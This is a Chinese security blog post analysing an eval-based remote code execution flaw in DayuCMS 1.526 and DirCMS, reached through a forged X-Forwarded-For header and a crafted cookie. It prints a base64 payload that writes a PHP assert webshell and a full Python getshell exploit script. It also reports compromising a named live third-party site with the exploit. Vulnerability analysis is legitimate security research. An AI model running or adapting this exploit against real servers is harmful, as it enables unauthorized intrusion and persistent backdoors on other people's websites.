DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS

DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。

影响版本:

DayuCMS目前所有版本(最新1.526版本及以下)
DirCMS所有版本(已经不更新了)

/pay/order.php

$payobj=new pay();

$action=isset($action)?$action:'step1';
session_start();

$cookiekey=dayucms_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));

上面代码中的IP声明在include/common.inc.php

define('IP',getIp());

include/global.func.php

// 获取IP地址
function getIp()
{
    $ip='未知IP';

    if(!empty($_SERVER['HTTP_CLIENT_IP']))
    {
        return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
    }
    elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
    }
    else
    {
        return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
    }
}

发现ip可以利用X-Forwarded-For伪造。

include/global.func.php

function dayucms_md5($str)
{
    return substr(md5($str),8,16);
}

// 字符串转换为数组
function string2array($str)
{
    if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
    if($str=='') return array();
    if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回
    @eval("\$array = $str;");
    return $array;
}

function get_cookie($var)
{
    $var = COOKIE_PRE.$var;
    return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
}

string2array函数的正常用法是:

$tmp = 'array("hello"=>"world")';
$arr = string2array($tmp);
var_dump($arr); //此时$arr就为一个数组

但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("\$array = 1;echo 222;"); 导致代码执行。

可以发现,很多cms都有string2array这样的function。比如phpcms v9 /phpcms/libs/functions/global.func.php中237行。

function string2array($data) {
    if($data == '') return array();
    eval("\$array = $data;");
    return $array;
}

data/config.inc.php
在get_cookie函数中,COOKIE_PRE宏需要说明一下。

define('COOKIE_PRE', 'rNsg2Zrbzn'); //Cookie 前缀,同一域名下安装多套Dircms时,请修改Cookie前缀

在Dayucms代码中,居然出现了Dircms的字样,所以你们懂的 Orz..
当第一次安装,COOKIE_PRE值是固定的TEVqv2KtR5,以后安装都会随机变化。

很明显根据上面代码,我们可以知道这是一个任意代码执行。

但是为了保证在任何环境下都能利用该POC,所以需要伪造一个固定的ip,那就2.2.2.2吧。
首先先访问pay/order.php,得到COOKIE_PRE为rNsg2Zrbzn,不包括siteid

回到order.php,$cookiekey为060b8081c32887f8,这个值再拼接上COOKIE_PRE,作为新cookie的key即可。
1
接着用Modify Headers修改XFF为2.2.2.2
2
上文用2.2.2.2的ip已经算出$cookiekey为060b8081c32887f8,所以设置新cookie的key为rNsg2Zrbzn060b8081c32887f8,这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用,并且执行我们构造的代码。

新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
功能:生成JoyChou.php,内容为

<?php
assert(
$_POST[x]
);
?>

3
再次访问pay/order.php即可执行代码,生成shell
4
目前dayucms官网依然可以这样getshell

#coding:utf-8

import requests
import sys
import hashlib
import urllib

__Author__ = 'JoyChou'
__Date__ = '2015年5月27日 19:13:48'


def is_url_getshell(url):
    order = url[-13:]
    if order != 'pay/order.php':
        print 'The url can not getshell...'
        sys.exit()

def printinfo():
    print '''
    #######################################################
    #                                                     #
    #       Dayucms or dircms Getshell EXP                #
    #       Version: dayucms <= 1.526 and all dircms      #
    #       Blog: www.joychou.org                         #
    #                                                     #
    #######################################################
   
    Usage:   exp.py url 
    Example: exp.py http://www.dayucms.com/pay/order.php

    '''
def md5(str):
    return hashlib.md5(str).hexdigest()

def dayucms_md5(str):
    return md5(str)[8:24]

# param:  http://victim.com/upload/test.php  
# return: http://victim.com/upload/
def spilit_url(url):
    m = 0
    for i in url[::-1]: #reverse url
        m+=1
        if i == '/':
            break
    url_spilit = url[:-(m-1)]
    return url_spilit

def main(url):
    ip = '2.2.2.2'
    try:
        r = requests.get(url)
    except Exception, e:
        print e
        sys.exit()
    cookie = r.cookies
    # get cookie_pre from cookie of client request
    for cookie_tuple in cookie.items(): # cookie.items() return a tuple
        for key in cookie_tuple: 
            if 'siteid' in key:
                cookie_pre = key
                break;
    cookiekey = dayucms_md5('productarray'+ip)
    cookiekey = cookie_pre[:-6] + cookiekey

    print 'X-Forwarded-For is: %s' % ip
    print 'cookiekey which need to add is: %s' % cookiekey
    print ''
    false_headers = {'X-Forwarded-For': ip}
    
    #   %3b is the urlencode of ;
    #   ; must be replaced by $3b.  because in cookies, ; means that one cookie is over
    #   shell password is x
    shell = '1%3bfputs(fopen(base64_decode(c21pbGVudC5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))'
    false_cookies = {cookiekey: shell, cookie_pre: '1'}
    r = requests.get(url, cookies = false_cookies, headers = false_headers)

    url_shell = spilit_url(url) + 'smilent.php'
    r = requests.get(url_shell)
    if r.status_code == 200:
        print 'getshell success!'
        print 'shell url is %s' % url_shell
    else:
        print 'getshell fail...'


if __name__ == '__main__':
    printinfo()
    if len(sys.argv) != 2:
        print 'input error'
        sys.exit()

    is_url_getshell(sys.argv[1])

    main(sys.argv[1])

6
百度powered by dircms测试下dircms,发现目标http://www.sywbs.com.cn/pay/order.php,getshell成功
7

发表评论